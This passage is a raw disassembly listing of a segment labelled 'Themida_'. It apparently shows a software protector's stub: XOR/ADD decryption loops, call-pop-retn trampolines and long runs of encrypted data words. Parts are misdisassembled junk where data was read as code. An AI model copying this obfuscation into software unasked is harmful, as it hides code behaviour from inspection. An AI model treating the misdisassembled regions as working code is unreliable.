[ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5D0CB5 jmp short loc_5D0D06 ; --------------------------------------------------------------------------- loc_5D0CD0: ; CODE XREF: Themida_:005D0CE7j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5D0CD0 jmp short loc_5D0D06 ; --------------------------------------------------------------------------- loc_5D0CEB: ; CODE XREF: Themida_:005D07F7j ; Themida_:005D0D02j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5D0CEB jmp short $+2 loc_5D0D06: ; CODE XREF: Themida_:005D0CCEj ; Themida_:005D0CE9j mov eax, eax push 0 push esi call sub_5D0D13 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D0D13 proc near ; CODE XREF: Themida_:005D0D0Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5D0D13 endp ; --------------------------------------------------------------------------- db 0F0h dd 8988D96Ah, 82CE791Fh, 0B3A9BFFEh, 6A7E5Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 840FEEC3h dd 5, 85CF8166h, 79BD2B38h, 8306140Fh, 14013DBDh, 850F0306h dd 457h, 68B0Fh, 8D890000h, 6141EF9h, 0A7EABD83h, 0F000617h dd 43E84h, 0D8B70F00h, 0A7EAB5FFh, 6A0617h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7CAD41C3h dd 662F0691h, 1BD8D01h, 95FF0614h, 6140339h, 95895153h dd 6141119h, 840F5B5Bh, 17h, 12E9h, 2B530F00h, 0FFC145FFh dd 3879111Bh, 3F0E7268h, 8B808D58h, 17A7DEB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 896E620Ah, 141DF9B5h, 106C706h, 50000100h, 484EB2BBh dd 2434897Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0B8C35343h, 0A7EAB5FFh, 0B70F0617h, 8195FFFBh dd 6A061410h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 845C353h, 9F21B312h, 0E83D5A9Eh dd 10h, 6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 6870Fh dd 0BD8B0000h, 6140201h, 0DEB58B5Bh, 10617A7h, 1410A995h dd 0F9858B06h, 6A06140Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0DDF6C357h, 246D881Dh dd 893656A7h, 140C5985h, 0DEBF0F06h, 0C48689h, 82B30000h dd 2B69958Bh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0F43A08C3h, 89F1756Ah, 140B058Dh dd 4C28306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0EDC35747h, 0F98B29BBh, 6A205089h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 653DC357h dd 0FF110954h, 8D9D0B2Bh, 8B061400h, 142FA59Dh, 23858D06h dd 0B70617BCh, 0B8868956h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6546C351h dd 2D9D8BAFh, 6A06141Ch, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 99030E4Eh, 857C217Eh dd 85BD8B49h, 0FF06140Ah, 17A7EAB5h, 25853106h, 0FF061400h dd 1433AD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 25F0048Dh, 53FF100h, 859D89B9h, 81061401h dd 0A31041C3h, 0BB665000h, 3489CE44h, 56006A24h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 79184C21h, 31006521h, 0EAB5FF65h, 0FF0617A7h, 14230995h dd 95853106h, 8306140Ch, 141189BDh, 840F0006h, 1Bh, 68C0Fh dd 85090000h, 6140085h, 89D98B50h, 0B70F2434h, 4D9D8BD8h dd 0FF06142Ah, 17A7EAB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 1AB31D96h dd 0D595FFF9h, 6A061402h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 12ADC350h, 0F781A626h dd 3D3BCD75h, 12E9h, 3CB83B00h, 7DA6EDEBh, 0F99C8168h dd 263002CEh, 0FFD542D4h, 17A7EAB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0D4CFF2D2h dd 31936EA5h, 0BB663796h, 95FF0A78h, 6140B75h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4C35343h, 51836600h dd 2DBD835Bh, 2061411h, 62840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B383B5C3h dd 55858B5Ch, 6A061400h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 1B1FC351h, 3A779671h dd 0EF2378D9h, 0F8B70FF8h, 0E90000C6h, 0Ch, 69634BBCh dd 0FE41F5E3h, 86D014EFh, 1E4985C7h, 614h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0F6B0D0C3h, 68EC6B3Bh, 945BD31h, 8F0F0614h, 3, 0E9FFB70Fh dd 0FFFFF290h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0ECC35747h, 9589B755h, 61401C1h, 72D8D89h, 0C18B0614h dd 791858Dh, 8B600614h, 14346585h, 0B7FC6006h, 50616133h dd 89F88B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 3EC9B1C3h, 6A5FDF79h, 15952900h dd 6A061419h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 9FFBB422h, 256E1F88h, 858DEBFEh dd 619382Fh, 0C083DA8Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0A58D8980h, 90061425h dd 0B5ACC6BBh, 0B960501Bh, 180D5F5Ch, 10BA6652h, 90615E5Eh dd 12800Fh, 0DE90000h, 54000000h, 3BCAA122h, 2E8BB10Fh dd 4623C141h, 8589006Ah, 61409DDh, 9D01006Ah, 6141B79h dd 1B1995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 254001C3h, 0EE9h, 0D2A96900h, 3034CAE0h dd 5B3A6938h, 8DE412EBh, 17A7788Dh, 0CB816606h, 8B66C8ACh dd 0BFD1FFDFh, 5E26E69Eh, 1CDBD83h, 0F010614h, 0AA85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 97C62341h, 6695C29Eh, 0D425CB81h, 6A026Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0D50490C3h, 7EECC100h, 0F522D51Eh, 0DA8B6690h, 50606050h dd 5A310F52h, 52506158h, 9E8h, 0CBFA9B00h, 305E1AE6h, 0F5B2522h dd 5AD98A31h, 66906158h, 0FFCC20BFh, 1433AD95h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E5B2985Dh, 1E4A8804h, 0CD8D89C9h, 0E9061407h, 0DAAh dd 0E8h, 0ED815D00h, 6193839h, 2C2D8589h, 6A0614h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0C0EAD8C3h, 8D9ADE86h, 178E4985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0BB0B8B7Ch dd 820F489Fh, 6, 9B59D03h, 8A900614h, 0F89050D9h, 35FF64h dd 0F000000h, 1080h, 7E800h, 0FFAD0000h, 0D81B6857h, 0D88B66A8h dd 2589645Bh, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+6142691h] inc dword ptr [ebp+6142DEDh] push 0 push edi call sub_5D1477 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1477 proc near ; CODE XREF: Themida_:005D146Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5D1477 endp ; --------------------------------------------------------------------------- sar dword ptr [esi+7A65A380h], 1 movsx edi, ax add [ebp+61417E5h], ecx mov di, bx push 0FFFFFFFFh mov ebx, [ebp+6143081h] push dword ptr [ebp+6140E15h] call dword ptr [ebp+6142A89h] jmp loc_5D1601 ; --------------------------------------------------------------------------- dw 11E8h dd 0D3000000h, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h dd 9E8h, 61B76B00h, 8974E0DCh, 5B5F9B43h, 12E800B0h, 34000000h dd 278B586Dh, 0ED0B85D6h, 72A449C6h, 41AAE072h, 0F19D8925h dd 5B06140Ch, 0BF6670E6h, 9D897359h, 614085Dh, 895771E4h dd 1410B99Dh, 613C5F06h, 0EB830Fh, 0B5890000h, 614074Dh dd 66C8B60Fh, 0BA0357BFh, 6, 6810Fh, 8D890000h, 6140435h dd 0F60C18Bh, 0BB66F1BFh, 316139C5h, 1412ED95h, 4E8C106h dd 14E9h, 38872A00h, 0D5926D76h, 3825D80Eh, 0DFBAEF84h dd 0F222B716h, 0E2F766FFh, 0AE5BD8Bh, 0C82B0614h, 0FB93D381h dd 0D18B4DDBh, 86E9DE8Bh, 89000000h, 14166995h, 4C858B06h dd 0BF494755h, 4A56B63Ch, 6607C083h, 2BC9EB81h, 8900C083h dd 14027595h, 0FD03B06h, 1183h, 0FDB53100h, 0E9061406h dd 51h, 2405BD8Bh, 8D8B0614h, 0FFFFFFFFh, 2FDD9509h, 0B70F0614h dd 1E183F9h, 33840Fh, 83F90000h, 0FFFFFFA5h, 0BE8FEFFh dd 3E000000h, 0A8E82508h, 1C6C513Dh, 0F96050CBh, 2019589h dd 5B610614h, 554C9589h, 0BD8B4947h, 61433A9h, 0E9h db 0 ; --------------------------------------------------------------------------- loc_5D1601: ; CODE XREF: Themida_:005D14ADj lea esi, [ebp+618AC0Bh] jmp loc_5D1618 ; --------------------------------------------------------------------------- dd 53D9F7C4h, 0ED90F2CDh, 319D0ADh ; --------------------------------------------------------------------------- loc_5D1618: ; CODE XREF: Themida_:005D1607j push 0 push 0 push esi call sub_5D1625 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1625 proc near ; CODE XREF: Themida_:005D161Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5D1625 endp ; --------------------------------------------------------------------------- db 0E7h, 4Ah, 0Fh ; --------------------------------------------------------------------------- mov bh, 0D9h call dword ptr [ebp+6142971h] sbb bl, 82h mov ecx, 1037h push 0 push ebp call sub_5D1653 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1653 proc near ; CODE XREF: Themida_:005D164Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5D1653 endp ; --------------------------------------------------------------------------- mov ds:952957CAh, eax and [edi], eax adc al, 6 pop ebx mov [ebp+61418DDh], ecx and ecx, 0FFFFFFFCh mov ebx, [ebp+61412E1h] jmp loc_5D1694 ; --------------------------------------------------------------------------- db 0ADh, 0B3h, 0AAh dd 35682132h, 9A3E780Eh, 0E31BA175h, 274AA3EFh ; --------------------------------------------------------------------------- loc_5D1694: ; CODE XREF: Themida_:005D167Cj cld sbb bx, 5459h mov eax, 0 push 0 push eax call sub_5D16AA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D16AA proc near ; CODE XREF: Themida_:005D16A2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5D16AA endp ; --------------------------------------------------------------------------- cmpsb or al, 6Ch dec ecx push edx mov edx, 0 mov ebx, [ebp+6140171h] loc_5D16CA: ; CODE XREF: Themida_:005D16D4j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D16CA push 0 push eax call sub_5D16E1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D16E1 proc near ; CODE XREF: Themida_:005D16D9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5D16E1 endp ; --------------------------------------------------------------------------- sar dword ptr [edi], 1 movsd db 67h test eax, 7659D8Bh adc al, 6 mov ebx, [ebp+6142615h] push 0 push ebp call sub_5D170D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D170D proc near ; CODE XREF: Themida_:005D1705p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5D170D endp ; --------------------------------------------------------------------------- db 0C7h, 0FAh, 5Fh ; --------------------------------------------------------------------------- cwde mov ebx, [ebp+61424A9h] mov bl, 0BCh or eax, 88h call sub_5D173D clc sal dword ptr [ecx+eax*4], 0B0h sar ebx, 1 fisub dword ptr [edi] dec edi ; =============== S U B R O U T I N E ======================================= sub_5D173D proc near ; CODE XREF: Themida_:005D172Ep sub [ebp+6140255h], edx pop edi sub [ebp+6143075h], esi mov edx, [ebp+6142B69h] pusha jmp loc_5D175D ; --------------------------------------------------------------------------- dw 6EC0h dd 0CA40A000h ; --------------------------------------------------------------------------- xchg eax, esp loc_5D175D: ; CODE XREF: sub_5D173D+14j mov ecx, 76443FFCh popa push ecx jg loc_5D176D sub bh, 83h loc_5D176D: ; CODE XREF: sub_5D173D+27j pop edi mov ecx, [ebp+6141055h] push 0 push edi call sub_5D177F and [edi-3Dh], bl sub_5D173D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D177F proc near ; CODE XREF: sub_5D173D+3Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5D177F endp ; --------------------------------------------------------------------------- db 0ABh dd 534AC79Dh, 0DFB70FF4h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0DE85818h, 2D000000h, 5CDF407Bh, 0AB36A654h dd 6CECEFC6h, 5019D8Bh, 605B0614h, 1345B529h, 958B0614h dd 61415BDh, 4DBD8361h, 6140Fh, 72840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 81B758C3h, 0D1F70ADBh, 0B854h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 33F1ACC3h dd 118D0F78h, 0E8000000h, 5, 1FAEC082h, 0E59D2B34h, 5B061430h dd 4DFF8D8Dh, 0BD8B0614h, 61434A1h, 0BD89E1FFh, 6140D7Dh dd 13DBD83h, 0F000614h, 3F584h, 399D8B00h, 83061426h, 14013DBDh dd 840F0106h, 3FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 4C35242h, 3ADBCCE0h, 0B95100C5h, 3DBD8390h dd 3061401h, 395860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 3B2DF8C3h, 0B2E4A38h dd 142085BDh, 0B9858906h, 60061420h, 12E8h, 0AC15BA00h dd 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 5FCE605Fh, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0E35AC351h, 1A962ADCh, 4E180AEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8AC35343h, 0A572C9DDh dd 4CCB8166h, 0FC90AEBh, 16C84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 35BC0909h dd 299BB94Ah, 14099D95h, 35858B06h, 6A06140Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4C4CC357h, 0BBB96660h, 61CA8BCEh, 6A98533h, 0DF800614h dd 8D0F9051h, 5, 0EA6389BBh, 4EBF5035h, 90418F96h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 16C35141h, 0F88B66DFh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 31B9E0C3h, 36410DCh, 1423BD9Dh, 4E806h, 3FF0000h dd 0D88B001Fh, 8BDF8B50h, 50042444h, 0E9008B5Fh, 0Ch, 8F98B052h dd 0C6EAAE65h, 0DCE0F448h, 4244489h, 0BE8h, 0B0702B00h dd 0B730F956h, 5E3DAF0Ch, 5BFA8B66h, 9DBD2B58h, 0FF06140Ah dd 14089D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0E5973316h, 6E96617h, 0A8000000h dd 53CBDD2Ch, 0FAB70FE7h, 0A7EA8589h, 6A0617h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8D8975C3h, 6140239h, 79DBD8Bh, 29E90614h, 8B000001h dd 14317D9Dh, 0E2858B06h, 6A0617A7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 163C356h dd 141E8585h, 1800C706h, 0E9000000h, 10h, 0C1284E6Ch, 20B84F44h dd 0DD983E86h, 6261455Fh, 0A7E6B58Bh, 0EB800617h, 81858B62h dd 0F061402h, 28Eh, 89F98B00h, 798D8906h, 8B061425h, 140E3585h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5A6E3A9Ah, 8D0FDFEDh, 4, 0D676BF66h, 8B044689h dd 141B9D9Dh, 0EE95006h, 6B000000h, 767A3BAh, 7C6BAB21h dd 1B886B37h, 24348938h, 2DBD01h, 0B5FF0614h, 617A7E2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F8C35242h dd 6185315Fh, 68061431h, 0DEDA789Ah, 0A5EAEEBFh, 2404811Ah dd 21448B65h, 0FB18529h, 8D890614h, 6142BA1h, 0A7EA858Dh dd 8D890617h, 61412A1h, 8957B350h, 0CB812404h, 11B4C586h dd 89D95FFh, 0BD890614h, 6141059h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0EE29ACD3h dd 0AC2A32FDh, 0D3806136h, 3D85C76Fh, 3061401h, 83000000h dd 17A7EABDh, 840F0006h, 2Bh, 3FE9FC8Ah, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B227C357h, 0B7E72C2Ah, 50FA8B66h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D82BDEC3h dd 6A223FD8h, 51EC7F13h, 7A19D03h, 8B5B0614h, 1410AD9Dh dd 3DBD8306h, 3061401h, 45C850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F0CAD4C3h dd 8ECD974Bh, 0BD89C336h, 6140481h, 0A7EABD83h, 0F000617h dd 42584h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 64F17773h, 0E0126F03h, 0BE8CE0Ah dd 35000000h, 0C7862BACh, 3078802Dh, 9501233Ch, 6140AE1h dd 0EAB5FF5Fh, 30617A7h, 140EBD9Dh, 3995FF06h, 6A061403h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0FE47C356h, 0EC9E1995h, 7E9472Dh, 24000000h dd 0DA7DB862h, 0BB666F09h, 0B58BB808h, 617A7DEh, 6C7FB8Bh dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 8AC35040h, 8589A517h, 61423C9h, 0C5EFBB96h, 605036F0h dd 5250F38Bh, 5250310Fh, 585A310Fh, 9661585Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 53C35545h, 5800FD9h dd 0BF000000h, 277568D0h, 0A7EAB5FFh, 0FFF50617h, 14108195h dd 0E5958906h, 8B061409h, 17A7DEB5h, 0F9858B06h, 8B06140Fh dd 140F1DBDh, 0C4868906h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9624C351h dd 8BCC1B6Ch, 142B6995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 40F4E831h, 993B2CDEh dd 11E9h, 73637500h, 91435F2Bh, 9457BB83h, 48AD956Ah, 0C283B165h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 4DBD2BDCh, 89061400h, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F0FBF7C3h dd 1A8D7A92h, 0BC23858Dh, 870F0617h, 0Fh, 0AE9h, 6535F900h dd 0D11384DCh, 9886214h, 14254DB5h, 0B8868906h, 0F000000h dd 684h, 6FDB8100h, 6A28317Eh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 538BC46Bh dd 277DDFA7h, 0D88BA2A8h, 0A7EAB5FFh, 9D8B0617h, 6142AB9h dd 33AD95FFh, 0BF0F0614h, 0E85096D8h, 10h, 5BD74A33h, 66F1A996h dd 0F40401E2h, 6AD8FD4Ch, 92CEBF52h, 5F5F3DA0h, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0C8D0F3Dh, 0F000000h, 683h, 8B0F00h, 31000000h, 141CCD8Dh dd 0EAB5FF06h dd 6A0617A7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0A72AC350h, 2A763F0Ch, 0BD8B8848h dd 614130Dh, 7E8h, 468A1B00h, 697FE39h, 12259D8Bh, 0FF5F0614h dd 14230995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0F9D954F5h, 2959D8Bh, 0BD830614h dd 6141189h, 2A840F00h, 0BF000000h, 5847BD37h, 7BF6650h dd 24348993h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 9AC35040h, 0EAB5FFA0h, 6A0617A7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F98AC350h dd 2D595FFh, 9D8B0614h, 6141705h, 0A7EAB5FFh, 85890617h dd 6141059h, 0B7595FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 4852EFC3h, 9D8BB4C0h dd 61422F1h, 3870Fh, 8B660000h, 0BD83F9DFh, 614112Dh, 6A840F02h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0F93BC357h, 0FB685E3h, 84h, 0F18D0100h dd 8B061406h, 14005585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0EEB14879h, 9888F2D5h dd 0C64DF7h, 5E900h, 0FB030000h, 8BB1277Ch, 141CE9BDh dd 4985C706h, 6141Eh, 66000000h, 6EE9FE8Bh, 6AFFFFF3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0DEAEC357h, 9589CD32h, 6141E9Dh, 2BD1BD8Bh dd 0C18B0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 84C35141h, 16C58D29h, 8D8D0614h, 61946F1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A0C35343h, 3D08260Ch dd 11E9E071h, 8E000000h, 6628BD37h, 0BA74FB3Bh, 0BE2D0DF6h dd 2AFE0244h, 2B698D89h, 85890614h, 61425BDh, 105585C7h dd 73C40614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0AB3E6BC3h, 503F560Eh, 75B50368h dd 0E906142Ch, 0Bh, 69689537h, 5D92254Ah, 0C78DB270h, 14013D85h dd 6, 13E900h, 8F90000h, 91792896h, 975AB879h, 867FAD82h dd 2C7F53A3h, 15B5FFEAh, 6A06140Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 9A01C352h dd 6820FA6Eh, 0A1B5894Ah, 0FF061419h, 140BD995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0DF81E92Ah, 7173D23Ch, 230DB589h, 6A0614h, 297195FFh dd 0C08B0614h, 71465FEBh, 2D2B69DBh, 5497CCDCh, 0AFF823B3h dd 63DB4349h, 8FBC7BF9h, 346C0959h, 0FE295C82h, 49A9DE07h dd 60021E75h, 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 7F3250C9h dd 9A895DB5h, 0A52A0566h, 906A21E4h, 2941C635h, 1E310BE9h dd 0AE9AC166h, 5A67C091h, 0F50B0D3Ch, 73B32479h, 0A0A75E7Bh dd 0FB8D8DA1h, 6A061947h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 8A97C356h, 2826ACBAh dd 0CFC88169h, 897FF06Ah, 142B698Dh, 0DD950B06h, 0C706140Bh dd 14105585h, 712806h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0AFC87E0Eh, 6E8E959h dd 0E6000000h, 197D7190h, 0B2B86636h, 85C75E5Fh, 614013Dh dd 0 ; --------------------------------------------------------------------------- jge loc_5D237C mov [ebp+6142D5Dh], ecx loc_5D237C: ; CODE XREF: Themida_:005D2370j push dword ptr [ebp+6142389h] mov [ebp+6142045h], edx call dword ptr [ebp+6140BD9h] mov edx, ebx push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5D23B8 ; --------------------------------------------------------------------------- dd 181AD098h, 31971FC7h, 3881ECF2h, 8D9E48A0h, 25083EF6h dd 513DA8E8h, 50CB1C6Ch ; --------------------------------------------------------------------------- loc_5D23B8: ; CODE XREF: Themida_:005D239Aj insb sbb eax, 120607AFh and al, 88h ; CODE XREF: Themida_:005D2430j mov esi, 87152083h jz short near ptr dword_5D1F90+3DFh fldcw word ptr [eax] push es and al, 1 pusha xchg eax, ebp jecxz short loc_5D2425 xchg eax, ebx retf ; --------------------------------------------------------------------------- dw 0EE93h ; --------------------------------------------------------------------------- dec edi retf 7940h ; --------------------------------------------------------------------------- dd 4064EF08h, 56F4D65h, 0A97FEBA5h, 81A01D85h, 802412C1h dd 63480BABh ; --------------------------------------------------------------------------- push ss sti loc_5D23F2: ; CODE XREF: Themida_:005D242Ej ; Themida_:005D2432j sub [ecx], eax sbb [edx], dl outsd fldcw word ptr cs:[ebx] xchg ebp, ds:6A848308h nop scasb retn ; --------------------------------------------------------------------------- db 82h dd 15243B3Ch, 852B12C6h, 124124Fh, 12544D9h, 53247818h dd 12411E4h, 0C27E3206h, 25709B59h db 85h ; --------------------------------------------------------------------------- loc_5D2425: ; CODE XREF: Themida_:005D23CEj xchg eax, ebx pusha and eax, 12407C4h pusha push eax jbe short loc_5D23F2 jnz short near ptr loc_5D23BE+1 jz short loc_5D23F2 lahf xchg ebx, [ecx+0Eh] push esi cdq mov ecx, 220604ECh xchg eax, ecx jmp far ptr 74B4h:81012419h ; --------------------------------------------------------------------------- db 0A8h dd 73B2A03Bh, 8E6BC37Ch, 589F7460h, 14E82E1h, 127FA5Fh dd 5A041206h, 5DAD49C0h, 45A516A5h, 13E16E4h, 52671260h dd 539140F3h, 54D446BEh, 12CD07BEh, 5A241206h, 11060FBCh dd 49FA564Bh, 138470BCh, 64A462BBh, 2B2649h, 0E8DA3654h dd 124120Ah, 31471670h, 827C0F72h, 872B3E41h, 12412C6h dd 0B8C1F8E1h, 9AF0EDFh, 49AF74E1h, 12CFBF0h, 0D9ED1206h dd 0AC8CEA95h, 804223DCh, 0EDB24F9h, 12473E4h, 10999B30h dd 82220615h, 9C171BCDh, 7300B8Bh, 0ECD2B83h, 1249004h dd 40A13BC0h, 0E8220662h, 1241220h, 8B9264BBh, 0CE02BF9Fh dd 5ABAFC3Eh, 71F37B4Ch, 2825530Ah, 152A4B75h, 8AEC1166h dd 15239BA5h, 4E5911Eh, 1279103h, 0BE2B1206h, 911D93DAh dd 0EAF51CAh, 1242C45h, 0C7A57460h, 8CA9EE80h, 7305FE7h dd 2AF59F85h, 29C1412h, 0F4241203h, 14EF37Eh, 127FA91h dd 58041260h, 4DAD4BF3h, 45A5163Ch, 1331628h, 50651206h dd 15449C0h, 0FC919B93h, 602206EDh, 0E8FCAD6Fh, 1241235h dd 0D1835CDDh, 1D999FDFh, 8C220B4Eh, 186DEB8Eh, 8250AA87h dd 84171352h, 7300939h, 